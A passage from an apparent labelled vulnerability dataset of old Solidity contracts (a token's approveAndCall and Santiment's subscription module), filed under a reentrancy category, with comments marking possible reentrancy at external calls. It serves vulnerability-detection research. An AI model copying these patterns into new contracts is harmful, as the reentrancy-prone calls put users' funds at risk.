for display purposes symbol = ""MTC""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 38531.sol,"pragma solidity ^0.4.11; // ==== DISCLAIMER ==== // // ETHEREUM IS STILL AN EXPEREMENTAL TECHNOLOGY. // ALTHOUGH THIS SMART CONTRACT WAS CREATED WITH GREAT CARE AND IN THE HOPE OF BEING USEFUL, NO GUARANTEES OF FLAWLESS OPERATION CAN BE GIVEN. // IN PARTICULAR - SUBTILE BUGS, HACKER ATTACKS OR MALFUNCTION OF UNDERLYING TECHNOLOGY CAN CAUSE UNINTENTIONAL BEHAVIOUR. // YOU ARE STRONGLY ENCOURAGED TO STUDY THIS SMART CONTRACT CAREFULLY IN ORDER TO UNDERSTAND POSSIBLE EDGE CASES AND RISKS. // DON'T USE THIS SMART CONTRACT IF YOU HAVE SUBSTANTIAL DOUBTS OR IF YOU DON'T KNOW WHAT YOU ARE DOING. // // THIS SOFTWARE IS PROVIDED ""AS IS"" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY // AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, // INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, // OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, // OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // ==== // /// @author Santiment LLC /// @title Subscription Module for SAN - santiment token contract Base { function max(uint a, uint b) returns (uint) { return a >= b ? a : b; } function min(uint a, uint b) returns (uint) { return a <= b ? a : b; } modifier only(address allowed) { if (msg.sender != allowed) throw; _; } ///@return True if `_addr` is a contract function isContract(address _addr) constant internal returns (bool) { if (_addr == 0) return false; uint size; assembly { size := extcodesize(_addr) } return (size > 0); } // ************************************************* // * reentrancy handling * // ************************************************* //@dev predefined locks (up to uint bit length, i.e. 256 possible) uint constant internal L00 = 2 ** 0; uint constant internal L01 = 2 ** 1; uint constant internal L02 = 2 ** 2; uint constant internal L03 = 2 ** 3; uint constant internal L04 = 2 ** 4; uint constant internal L05 = 2 ** 5; //prevents reentrancy attacs: specific locks uint private bitlocks = 0; modifier noReentrancy(uint m) { var _locks = bitlocks; if (_locks & m > 0) throw; bitlocks |= m; _; bitlocks = _locks; } modifier noAnyReentrancy { var _locks = bitlocks; if (_locks > 0) throw; bitlocks = uint(-1); _; bitlocks = _locks; } ///@dev empty marking modifier signaling to user of the marked function , that it can cause an reentrant call. /// developer should make the caller function reentrant-safe if it use a reentrant function. modifier reentrant { _; } } contract Owned is Base { address public owner; address public newOwner; function Owned() { owner = msg.sender; } function transferOwnership(address _newOwner) only(owner) { newOwner = _newOwner; } function acceptOwnership() only(newOwner) { OwnershipTransferred(owner, newOwner); owner = newOwner; } event OwnershipTransferred(address indexed _from, address indexed _to); } contract ERC20 is Owned { event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function transfer(address _to, uint256 _value) isStartedOnly returns (bool success) { if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) isStartedOnly returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) isStartedOnly returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; bool public isStarted = false; modifier onlyHolder(address holder) { if (balanceOf(holder) == 0) throw; _; } modifier isStartedOnly() { if (!isStarted) throw; _; } } //Decision made. // 1 - Provider is solely responsible to consider failed sub charge as an error and stop the service, // therefore there is no separate error state or counter for that in this Token Contract. // // 2 - A call originated from the user (isContract(msg.sender)==false) should throw an exception on error, // but it should return ""false"" on error if called from other contract (isContract(msg.sender)==true). // Reason: thrown exception are easier to see in wallets, returned boolean values are easier to evaluate in the code of the calling contract. // // 3 - Service providers are responsible for firing events in case of offer changes; // it is theirs decision to inform DApps about offer changes or not. // ///@dev an base class to implement by Service Provider contract to be notified about subscription changes (in-Tx notification). /// Additionally it contains standard events to be fired by service provider on offer changes. /// see alse EVM events logged by subscription module. // contract ServiceProvider { ///@dev get human readable descriptor (or url) for this Service provider // function info() constant public returns(string); ///@dev called to post-approve/reject incoming single payment. ///@return `false` causes an exception and reverts the payment. // function onPayment(address _from, uint _value, bytes _paymentData) public returns (bool); ///@dev called to post-approve/reject subscription charge. ///@return `false` causes an exception and reverts the operation. // function onSubExecuted(uint subId) public returns (bool); ///@dev called to post-approve/reject a creation of the subscription. ///@return `false` causes an exception and reverts the operation. // function onSubNew(uint newSubId, uint offerId) public returns (bool); ///@dev called to notify service provider about subscription cancellation. /// Provider is not able to prevent the cancellation. ///@return <> // function onSubCanceled(uint subId, address caller) public returns (bool); ///@dev called to notify service provider about subscription got hold/unhold. ///@return `false` causes an exception and reverts the operation. // function onSubUnHold(uint subId, address caller, bool isOnHold) public returns (bool); ///@dev following events should be used by ServiceProvider contract to notify DApps about offer changes. /// SubscriptionModule do not this notification and expects it from Service Provider if desired. /// ///@dev to be fired by ServiceProvider on new Offer created in a platform. event OfferCreated(uint offerId, bytes descriptor, address provider); ///@dev to be fired by ServiceProvider on Offer updated. event OfferUpdated(uint offerId, bytes descriptor, uint oldExecCounter, address provider); ///@dev to be fired by ServiceProvider on Offer canceled. event OfferCanceled(uint offerId, bytes descriptor, address provider); ///@dev to be fired by ServiceProvider on Offer hold/unhold status changed. event OfferUnHold(uint offerId, bytes descriptor, bool isOnHoldNow, address provider); } //ServiceProvider ///@notice XRateProvider is an external service providing an exchange rate from external currency to SAN token. /// it used for subscriptions priced in other currency than SAN (even calculated and paid formally in SAN). /// if non-default XRateProvider is set for some subscription, then the amount in SAN for every periodic payment /// will be recalculated using provided exchange rate. /// /// Please note, that the exchange rate fraction is (uint32,uint32) number. It should be enough to express /// any real exchange rate volatility. Nevertheless you are advised to avoid too big numbers in the fraction. /// Possiibly you could implement the ratio of multiple token per SAN in order to keep the average ratio around 1:1. /// /// The default XRateProvider (with id==0) defines exchange rate 1:1 and represents exchange rate of SAN token to itself. /// this provider is set by defalult and thus the subscription becomes nominated in SAN. // contract XRateProvider { //@dev returns current exchange rate (in form of a simple fraction) from other currency to SAN (f.e. ETH:SAN). //@dev fraction numbers are restricted to uint16 to prevent overflow in calculations; function getRate() public returns (uint32 /*nominator*/, uint32 /*denominator*/); //@dev provides a code for another currency, f.e. ""ETH"" or ""USD"" function getCode() public returns (string); } //@dev data structure for SubscriptionModule contract SubscriptionBase { enum SubState {NOT_EXIST, BEFORE_START, PAID, CHARGEABLE, ON_HOLD, CANCELED, EXPIRED, FINALIZED} enum OfferState {NOT_EXIST, BEFORE_START, ACTIVE, SOLD_OUT, ON_HOLD, EXPIRED} string[] internal SUB_STATES = [""NOT_EXIST"", ""BEFORE_START"", ""PAID"", ""CHARGEABLE"", ""ON_HOLD"", ""CANCELED"", ""EXPIRED"", ""FINALIZED"" ]; string[] internal OFFER_STATES = [""NOT_EXIST"", ""BEFORE_START"", ""ACTIVE"", ""SOLD_OUT"", ""ON_HOLD"", ""EXPIRED""]; //@dev subscription and subscription offer use the same structure. Offer is technically a template for subscription. struct Subscription { address transferFrom; // customer (unset in subscription offer) address transferTo; // service provider uint pricePerHour; // price in SAN per hour (possibly recalculated using exchange rate) uint32 initialXrate_n; // nominator uint32 initialXrate_d; // denominator uint16 xrateProviderId; // id of a registered exchange rate provider uint paidUntil; // subscription is paid until time uint chargePeriod; // subscription can't be charged more often than this period uint depositAmount; // upfront deposit on creating subscription (possibly recalculated using exchange rate) uint startOn; // for offer: can't be accepted before ; for subscription: can't be charged before uint expireOn; // for offer: can't be accepted after ; for subscription: can't be charged after uint execCounter; // for offer: max num of subscriptions available ; for subscription: num of charges made. bytes descriptor; // subscription payload (subject): evaluated by service provider. uint onHoldSince; // subscription: on-hold since time or 0 if not onHold. offer: unused: //ToDo: to be implemented } struct Deposit { uint value; // value on deposit address owner; // usually a customer uint createdOn; // deposit created timestamp uint lockTime; // deposit locked for time period bytes descriptor; // service related descriptor to be evaluated by service provider } event NewSubscription(address customer, address service, uint offerId, uint subId); event NewDeposit(uint depositId, uint value, uint lockTime, address sender); event NewXRateProvider(address addr, uint16 xRateProviderId, address sender); event DepositReturned(uint depositId, address returnedTo); event SubscriptionDepositReturned(uint subId, uint amount, address returnedTo, address sender); event OfferOnHold(uint offerId, bool onHold, address sender); event OfferCanceled(uint offerId, address sender); event SubOnHold(uint offerId, bool onHold, address sender); event SubCanceled(uint subId, address sender); event SubModuleSuspended(uint suspendUntil); } ///@dev an Interface for SubscriptionModule. /// extracted here for better overview. /// see detailed documentation in implementation module. contract SubscriptionModule is SubscriptionBase, Base { ///@dev ***** module configuration ***** function attachToken(address token) public; ///@dev ***** single payment handling ***** function paymentTo(uint _value, bytes _paymentData, ServiceProvider _to) public reentrant returns (bool success); function paymentFrom(uint _value, bytes _paymentData, address _from, ServiceProvider _to) public reentrant returns (bool success); ///@dev ***** subscription handling ***** ///@dev some functions are marked as reentrant, even theirs implementation is marked with noReentrancy(LOCK). /// This is intentionally because these noReentrancy(LOCK) restrictions can be lifted in the future. // Functions would become reentrant. function createSubscription(uint _offerId, uint _expireOn, uint _startOn) public reentrant returns (uint newSubId); function cancelSubscription(uint subId) reentrant public; function cancelSubscription(uint subId, uint gasReserve) reentrant public; function holdSubscription(uint subId) public reentrant returns (bool success); function unholdSubscription(uint subId) public reentrant returns (bool success); function executeSubscription(uint subId) public reentrant returns (bool success); function postponeDueDate(uint subId, uint newDueDate) public returns (bool success); function returnSubscriptionDesposit(uint subId) public; function claimSubscriptionDeposit(uint subId) public; function state(uint subId) public constant returns(string state); function stateCode(uint subId) public constant returns(uint stateCode); ///@dev ***** subscription offer handling ***** function createSubscriptionOffer(uint _price, uint16 _xrateProviderId, uint _chargePeriod, uint _expireOn, uint _offerLimit, uint _depositValue, uint _startOn, bytes _descriptor) public reentrant returns (uint subId); function updateSubscriptionOffer(uint offerId, uint _offerLimit) public; function holdSubscriptionOffer(uint offerId) public returns (bool success); function unholdSubscriptionOffer(uint offerId) public returns (bool success); function cancelSubscriptionOffer(uint offerId) public returns (bool); ///@dev ***** simple deposit handling ***** function createDeposit(uint _value, uint lockTime, bytes _descriptor) public returns (uint subId); function claimDeposit(uint depositId) public; ///@dev ***** ExchangeRate provider ***** function registerXRateProvider(XRateProvider addr) public returns (uint16 xrateProviderId); ///@dev ***** Service provider (payment receiver) ***** function enableServiceProvider(ServiceProvider addr, bytes moreInfo) public; function disableServiceProvider(ServiceProvider addr, bytes moreInfo) public; ///@dev ***** convenience subscription getter ***** function subscriptionDetails(uint subId) public constant returns( address transferFrom, address transferTo, uint pricePerHour, uint32 initialXrate_n, //nominator uint32 initialXrate_d, //denominator uint16 xrateProviderId, uint chargePeriod, uint startOn, bytes descriptor ); function subscriptionStatus(uint subId) public constant returns( uint depositAmount, uint expireOn, uint execCounter, uint paidUntil, uint onHoldSince ); enum PaymentStatus {OK, BALANCE_ERROR, APPROVAL_ERROR} event Payment(address _from, address _to, uint _value, uint _fee, address sender, PaymentStatus status, uint subId); event ServiceProviderEnabled(address addr, bytes moreInfo); event ServiceProviderDisabled(address addr, bytes moreInfo); } //SubscriptionModule contract ERC20ModuleSupport { function _fulfillPreapprovedPayment(address _from, address _to, uint _value, address msg_sender) public returns(bool success); function _fulfillPayment(address _from, address _to, uint _value, uint subId, address msg_sender) public returns (bool success); function _mintFromDeposit(address owner, uint amount) public; function _burnForDeposit(address owner, uint amount) public returns(bool success); } //@dev implementation contract SubscriptionModuleImpl is SubscriptionModule, Owned { string public constant VERSION = ""0.2.0""; // ************************************************* // * contract states * // ************************************************* ///@dev suspend all module operation until this time (if in future); if the time is in past (or zero) - operates normally. uint public suspendedUntil = 0; function isSuspended() public constant returns(bool) { return suspendedUntil > now; } ///@dev list of all registered service provider contracts implemented as a map for better lookup. mapping (address=>bool) public providerRegistry; ///@dev all subscriptions and offers (incl. FINALIZED). mapping (uint => Subscription) public subscriptions; ///@dev all active simple deposits gived by depositId. mapping (uint => Deposit) public deposits; ///@dev addresses of registered exchange rate providers. XRateProvider[] public xrateProviders; ///@dev ongoing counter for subscription ids starting from 1. /// Current value represents an id of last created subscription. uint public subscriptionCounter = 0; ///@dev ongoing counter for simple deposit ids starting from 1. /// Current value represents an id of last created deposit. uint public depositCounter = 0; ///@dev Token contract with ERC20ModuleSupport addon. /// Subscription Module operates on its balances via ERC20ModuleSupport interface as trusted module. ERC20ModuleSupport public san; // ************************************************* // * reject all ether sent to this contract * // ************************************************* function () { throw; } // ************************************************* // * setup and configuration * // ************************************************* ///@dev constructor function SubscriptionModuleImpl() { owner = msg.sender; xrateProviders.push(XRateProvider(this)); //this is a default SAN:SAN (1:1) provider with default id == 0 } ///@dev attach SAN token to work with; can be done only once. function attachToken(address token) public { assert(address(san) == 0); //only in new deployed state san = ERC20ModuleSupport(token); } ///@dev register a new service provider to the platform. function enableServiceProvider(ServiceProvider addr, bytes moreInfo) public notSuspended only(owner) { providerRegistry[addr] = true; ServiceProviderEnabled(addr, moreInfo); } ///@dev de-register the service provider with given `addr`. function disableServiceProvider(ServiceProvider addr, bytes moreInfo) public notSuspended only(owner) { delete providerRegistry[addr]; ServiceProviderDisabled(addr, moreInfo); } ///@dev suspend all module operations for given time. function suspend(uint suspendTimeSec) public only(owner) { suspendedUntil = now + suspendTimeSec; SubModuleSuspended(suspendedUntil); } ///@dev register new exchange rate provider. /// XRateProvider can't be de-registered, because they could be still in use by some subscription. function registerXRateProvider(XRateProvider addr) public notSuspended only(owner) returns (uint16 xrateProviderId) { xrateProviderId = uint16(xrateProviders.length); xrateProviders.push(addr); NewXRateProvider(addr, xrateProviderId, msg.sender); } ///@dev xrateProviders length accessor. function getXRateProviderLength() public constant returns (uint) { return xrateProviders.length; } // ************************************************* // * single payment methods * // ************************************************* ///@notice makes single payment to service provider. ///@param _value - amount of SAN token to sent ///@param _paymentData - 'payment purpose' code usually issued by service provider to customer before payment. ///@param _to - service provider contract ///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract) // function paymentTo(uint _value, bytes _paymentData, ServiceProvider _to) public notSuspended reentrant returns (bool success) { if (san._fulfillPayment(msg.sender, _to, _value, 0, msg.sender)) { // a ServiceProvider (a ServiceProvider) has here an opportunity verify and reject the payment assert (ServiceProvider(_to).onPayment(msg.sender, _value, _paymentData)); // <=== possible reentrancy return true; } if (isContract(msg.sender)) { return false; } else { throw; } } ///@notice makes single preapproved payment to service provider. An amount must be already preapproved by payment sender to recepient. ///@param _value - amount of SAN token to sent ///@param _paymentData - 'payment purpose' code usually issued by service provider to customer before payment. ///@param _from - sender of the payment (other than msg.sender) ///@param _to - service provider contract ///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract) // function paymentFrom(uint _value, bytes _paymentData, address _from, ServiceProvider _to) public notSuspended reentrant returns (bool success) { if (san._fulfillPreapprovedPayment(_from, _to, _value, msg.sender)) { // a ServiceProvider (a ServiceProvider) has here an opportunity verify and reject the payment assert (ServiceProvider(_to).onPayment(_from, _value, _paymentData)); // <=== possible reentrancy return true; } if (isContract(msg.sender)) { return false; } else { throw; } } // ************************************************* // * subscription handling * // ************************************************* ///@dev convenience getter for some subscription fields function subscriptionDetails(uint subId) public constant returns ( address transferFrom, address transferTo, uint pricePerHour, uint32 initialXrate_n, //nominator uint32 initialXrate_d, //denominator uint16 xrateProviderId, uint chargePeriod, uint startOn, bytes descriptor ) { Subscription sub = subscriptions[subId]; return (sub.transferFrom, sub.transferTo, sub.pricePerHour, sub.initialXrate_n, sub.initialXrate_d, sub.xrateProviderId, sub.chargePeriod, sub.startOn, sub.descriptor); } ///@dev convenience getter for some subscription fields /// a caller must know, that the subscription with given id exists, because all these fields can be 0 even the subscription with given id exists. function subscriptionStatus(uint subId) public constant returns( uint depositAmount, uint expireOn, uint execCounter, uint paidUntil, uint onHoldSince ) { Subscription sub = subscriptions[subId]; return (sub.depositAmount, sub.expireOn, sub.execCounter, sub.paidUntil, sub.onHoldSince); } ///@notice execute periodic subscription payment. /// Any of customer, service provider and platform owner can execute this function. /// This ensures, that the subscription charge doesn't become delayed. /// At least the platform owner has an incentive to get fee and thus can trigger the function. /// An execution fails if subscription is not in status `CHARGEABLE`. ///@param subId - subscription to be charged. ///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract) // function executeSubscription(uint subId) public notSuspended noReentrancy(L00) returns (bool) { Subscription storage sub = subscriptions[subId]; assert (msg.sender == sub.transferFrom || msg.sender == sub.transferTo || msg.sender == owner); if (_subscriptionState(sub)==SubState.CHARGEABLE) { var _from = sub.transferFrom; var _to = sub.transferTo; var _value = _amountToCharge(sub); if (san._fulfillPayment(_from, _to, _value, subId, msg.sender)) { sub.paidUntil = max(sub.paidUntil, sub.startOn) + sub.chargePeriod; ++sub.execCounter; // a ServiceProvider (a ServiceProvider) has here an opportunity to verify and reject the payment assert (ServiceProvider(_to).onSubExecuted(subId)); return true; } } if (isContract(msg.sender)) { return false; } else { throw; } } ///@notice move `paidUntil` forward to given `newDueDate`. It waives payments for given time. /// This function can be used by service provider to `give away` some service time for free. ///@param subId - id of subscription to be postponed. ///@param newDueDate - new `paidUntil` datetime; require `newDueDate > paidUntil`. ///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract) // function postponeDueDate(uint subId, uint newDueDate) public notSuspended returns (bool success){ Subscription storage sub = subscriptions[subId]; assert (_isSubscription(sub)); assert (sub.transferTo == msg.sender); //only Service Provider is allowed to postpone the DueDate if (sub.paidUntil < newDueDate) { sub.paidUntil = newDueDate; return true; } else if (isContract(msg.sender)) { return false; } else { throw; } } ///@dev return current status as a name of a subscription (or an offer) with given id; function state(uint subOrOfferId) public constant returns(string state) { Subscription subOrOffer = subscriptions[subOrOfferId]; return _isOffer(subOrOffer) ? OFFER_STATES[uint(_offerState(subOrOffer))] : SUB_STATES[uint(_subscriptionState(subOrOffer))]; } ///@dev return current status as a code of a subscription (or an offer) with given id; function stateCode(uint subOrOfferId) public constant returns(uint stateCode) { Subscription subOrOffer = subscriptions[subOrOfferId]; return _isOffer(subOrOffer) ? uint(_offerState(subOrOffer)) : uint(_subscriptionState(subOrOffer)); } function _offerState(Subscription storage sub) internal constant returns(OfferState status) { if (!_isOffer(sub)) { return OfferState.NOT_EXIST; } else if (sub.startOn > now) { return OfferState.BEFORE_START; } else if (sub.onHoldSince > 0) { return OfferState.ON_HOLD; } else if (now <= sub.expireOn) { return sub.execCounter > 0 ? OfferState.ACTIVE : OfferState.SOLD_OUT; } else { return OfferState.EXPIRED; } } function _subscriptionState(Subscription storage sub) internal constant returns(SubState status) { if (!_isSubscription(sub)) { return SubState.NOT_EXIST; } else if (sub.startOn > now) { return SubState.BEFORE_START; } else if (sub.onHoldSince > 0) { return SubState.ON_HOLD; } else if (sub.paidUntil >= sub.expireOn) { return now < sub.expireOn ? SubState.CANCELED : sub.depositAmount > 0 ? SubState.EXPIRED : SubState.FINALIZED; } else if (sub.paidUntil <= now) { return SubState.CHARGEABLE; } else { return SubState.PAID; } } ///@notice create a new subscription offer. ///@dev only registered service provider is allowed to create offers. ///@dev subscription uses SAN token for payment, but an exact amount to be paid or deposit is calculated using exchange rate from external xrateProvider (previosly registered on platform). /// This allows to create a subscription bound to another token or even fiat currency. ///@param _pricePerHour - subscription price per hour in SAN ///@param _xrateProviderId - id of external exchange rate provider from subscription currency to SAN; ""0"" means subscription is priced in SAN natively. ///@param _chargePeriod - time period to charge; subscription can't be charged more often than this period. Time units are native ethereum time, returning by `now`, i.e. seconds. ///@param _expireOn - offer can't be accepted after this time. ///@param _offerLimit - how many subscription are available to created from this offer; there is no magic number for unlimited offer -- use big number instead. ///@param _depositAmount - upfront deposit required for creating a subscription; this deposit becomes fully returned on subscription is over. /// currently this deposit is not subject of platform fees and will be refunded in full. Next versions of this module can use deposit in case of outstanding payments. ///@param _startOn - a subscription from this offer can't be created before this time. Time units are native ethereum time, returning by `now`, i.e. seconds. ///@param _descriptor - arbitrary bytes as an offer descriptor. This descriptor is copied into subscription and then service provider becomes it passed in notifications. // function createSubscriptionOffer(uint _pricePerHour, uint16 _xrateProviderId, uint _chargePeriod, uint _expireOn, uint _offerLimit, uint _depositAmount, uint _startOn, bytes _descriptor) public noReentrancy(L01) onlyRegisteredProvider notSuspended returns (uint subId) { assert (_startOn < _expireOn); assert (_chargePeriod <= 10 years); //sanity check var (_xrate_n, _xrate_d) = _xrateProviderId == 0 ? (1,1) : XRateProvider(xrateProviders[_xrateProviderId]).getRate(); // <=== possible reentrancy assert (_xrate_n > 0 && _xrate_d > 0); subscriptions[++subscriptionCounter] = Subscription ({ transferFrom : 0, // empty transferFrom field means we have an offer, not a subscription transferTo : msg.sender, // service provider is a beneficiary of subscripton payments pricePerHour : _pricePerHour, // price per hour in SAN (recalculated from base currency if needed) xrateProviderId : _xrateProviderId, // id of registered exchange rate provider or zero if an offer is nominated in SAN. initialXrate_n : _xrate_n, // fraction nominator of the initial exchange rate initialXrate_d : _xrate_d, // fraction denominator of the initial exchange rate paidUntil : 0, // service is considered to be paid until this time; no charge is possible while subscription is paid for now. chargePeriod : _chargePeriod, // period in seconds (ethereum block time unit) to charge. depositAmount : _depositAmount, // deposit required for subscription accept. startOn : _startOn, expireOn : _expireOn, execCounter : _offerLimit, descriptor : _descriptor, onHoldSince : 0 // offer is not on hold by default. }); return subscriptionCounter; // returns an id of the new offer. } ///@notice updates currently available number of subscription for this offer. /// Other offer's parameter can't be updated because they are considered to be a public offer reviewed by customers. /// The service provider should recreate the offer as a new one in case of other changes. // function updateSubscriptionOffer(uint _offerId, uint _offerLimit) public notSuspended { Subscription storage offer = subscriptions[_offerId]; assert (_isOffer(offer)); assert (offer.transferTo == msg.sender); //only Provider is allowed to update the offer. offer.execCounter = _offerLimit; } ///@notice accept given offer and create a new subscription on the base of it. /// ///@dev the service provider (offer.`transferTo`) becomes notified about new subscription by call `onSubNew(newSubId, _offerId)`. /// It is provider's responsibility to retrieve and store any necessary information about offer and this new subscription. Some of info is only available at this point. /// The Service Provider can also reject the new subscription by throwing an exception or returning `false` from `onSubNew(newSubId, _offerId)` event handler. ///@param _offerId - id of the offer to be accepted ///@param _expireOn - subscription expiration time; no charges are possible behind this time. ///@param _startOn - subscription start time; no charges are possible before this time. /// If the `_startOn` is in the past or is zero, it means start the subscription ASAP. // function createSubscription(uint _offerId, uint _expireOn, uint _startOn) public notSuspended noReentrancy(L02) returns (uint newSubId) { assert (_startOn < _expireOn); Subscription storage offer = subscriptions[_offerId]; assert (_isOffer(offer)); assert (offer.startOn == 0 || offer.startOn <= now); assert (offer.expireOn == 0 || offer.expireOn >= now); assert (offer.onHoldSince == 0); assert (offer.execCounter > 0); --offer.execCounter; newSubId = ++subscriptionCounter; //create a clone of the offer... Subscription storage newSub = subscriptions[newSubId] = offer; //... and adjust some fields specific to subscription newSub.transferFrom = msg.sender; newSub.execCounter = 0; newSub.paidUntil = newSub.startOn = max(_startOn, now); //no debts before actual creation time! newSub.expireOn = _expireOn; newSub.depositAmount = _applyXchangeRate(newSub.depositAmount, newSub); // <=== possible reentrancy //depositAmount is now stored in the sub, so burn the same amount from customer's account. assert (san._burnForDeposit(msg.sender, newSub.depositAmount)); assert (ServiceProvider(newSub.transferTo).onSubNew(newSubId, _offerId)); // <=== possible reentrancy; service provider can still reject the new subscription here NewSubscription(newSub.transferFrom, newSub.transferTo, _offerId, newSubId); return newSubId; } ///@notice cancel an offer given by `offerId`. ///@dev sets offer.`expireOn` to `expireOn`. ///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract) // function cancelSubscriptionOffer(uint offerId) public notSuspended returns (bool) { Subscription storage offer = subscriptions[offerId]; assert (_isOffer(offer)); assert (offer.transferTo == msg.sender || owner == msg.sender); //only service provider or platform owner is allowed to cancel the offer if (offer.expireOn>now){ offer.expireOn = now; OfferCanceled(offerId, msg.sender); return true; } if (isContract(msg.sender)) { return false; } else { throw; } } ///@notice cancel an subscription given by `subId` (a graceful version). ///@notice IMPORTANT: a malicious service provider can consume all gas and preventing subscription from cancellation. /// If so, use `cancelSubscription(uint subId, uint gasReserve)` as the forced version. /// see `cancelSubscription(uint subId, uint gasReserve)` for more documentation. // function cancelSubscription(uint subId) public notSuspended { return cancelSubscription(subId, 0); } ///@notice cancel an subscription given by `subId` (a forced version). /// Cancellation means no further charges to this subscription are possible. The provided subscription deposit can be withdrawn only `paidUntil` period is over. /// Depending on nature of the service provided, the service provider can allow an immediate deposit withdrawal by `returnSubscriptionDesposit(uint subId)` call, but its on his own. /// In some business cases a deposit must remain locked until `paidUntil` period is over even, the subscription is already canceled. ///@notice gasReserve is a gas amount reserved for contract execution AFTER service provider becomes `onSubCanceled(uint256,address)` notification. /// It guarantees, that cancellation becomes executed even a (malicious) service provider consumes all gas provided. /// If so, use `cancelSubscription(uint subId, uint gasReserve)` as the forced version. /// This difference is because the customer must always have a possibility to cancel his contract even the service provider disagree on cancellation. ///@param subId - subscription to be cancelled ///@param gasReserve - gas reserved for call finalization (minimum reservation is 10000 gas) // function cancelSubscription(uint subId, uint gasReserve) public notSuspended noReentrancy(L03) { Subscription storage sub = subscriptions[subId]; assert (sub.transferFrom == msg.sender || owner == msg.sender); //only subscription owner or platform owner is allowed to cancel it assert (_isSubscription(sub)); var _to = sub.transferTo; sub.expireOn = max(now, sub.paidUntil); if (msg.sender != _to) { //supress re-throwing of exceptions; reserve enough gas to finish this function gasReserve = max(gasReserve,10000); //reserve minimum 10000 gas assert (msg.gas > gasReserve); //sanity check if (_to.call.gas(msg.gas-gasReserve)(bytes4(sha3(""onSubCanceled(uint256,address)"")), subId, msg.sender)) { // <=== possible reentrancy //do nothing. it is notification only. //Later: is it possible to evaluate return value here? If is better to return the subscription deposit here. } } SubCanceled(subId, msg.sender); } ///@notice place an active offer on hold; it means no subscriptions can be created from this offer. /// Only service provider (or platform owner) is allowed to hold/unhold a subscription offer. ///@param offerId - id of the offer to be placed on hold. ///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract) // function holdSubscriptionOffer(uint offerId) public notSuspended returns (bool success) { Subscription storage offer = subscriptions[offerId]; assert (_isOffer(offer)); require (msg.sender == offer.transferTo || msg.sender == owner); //only owner or service provider can place the offer on hold. if (offer.onHoldSince == 0) { offer.onHoldSince = now; OfferOnHold(offerId, true, msg.sender); return true; } if (isContract(msg.sender)) { return false; } else { throw; } } ///@notice resume on-hold offer; subscriptions can be created from this offer again (if other conditions are met). /// Only service provider (or platform owner) is allowed to hold/unhold a subscription offer. ///@param offerId - id of the offer to be resumed. ///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract) // function unholdSubscriptionOffer(uint offerId) public notSuspended returns (bool success) { Subscription storage offer = subscriptions[offerId]; assert (_isOffer(offer)); require (msg.sender == offer.transferTo || msg.sender == owner); //only owner or service provider can reactivate the offer. if (offer.onHoldSince > 0) { offer.onHoldSince = 0; OfferOnHold(offerId, false, msg.sender); return true; } if (isContract(msg.sender)) { return false; } else { throw; } } ///@notice called by customer or service provider to place a subscription on hold. /// If call is originated by customer the service provider can reject the request. /// A subscription on hold will not be charged. The service is usually not provided as well. /// During hold time a subscription preserve remaining paid time period, which becomes available after unhold. ///@return `true` on success; `false` of failure (if caller is a contract) or throw an exception (if caller is not a contract) // function holdSubscription(uint subId) public notSuspended noReentrancy(L04) returns (bool success) { Subscription storage sub = subscriptions[subId]; assert (_isSubscription(sub)); var _to = sub.transferTo; require (msg.sender == _to || msg.sender == sub.transferFrom); //only customer or provider can place the subscription on hold. if (sub.onHoldSince == 0) { if (msg.sender == _to || ServiceProvider(_to).onSubUnHold(subId, msg.sender, true)) { // <=== possible reentrancy sub.onHoldSince = now; SubOnHold(subId, true, msg.sender); return true; } } if (isContract(msg.sender)) { return false; } else { throw; } } ///@notice called by customer or service provider to unhold subscription. /// If call is originated by customer the service provider can reject the request. /// A subscription on hold will not be charged. The service is usually not provided as well. /// During hold time a subscription preserve remaining paid time period, which becomes available after 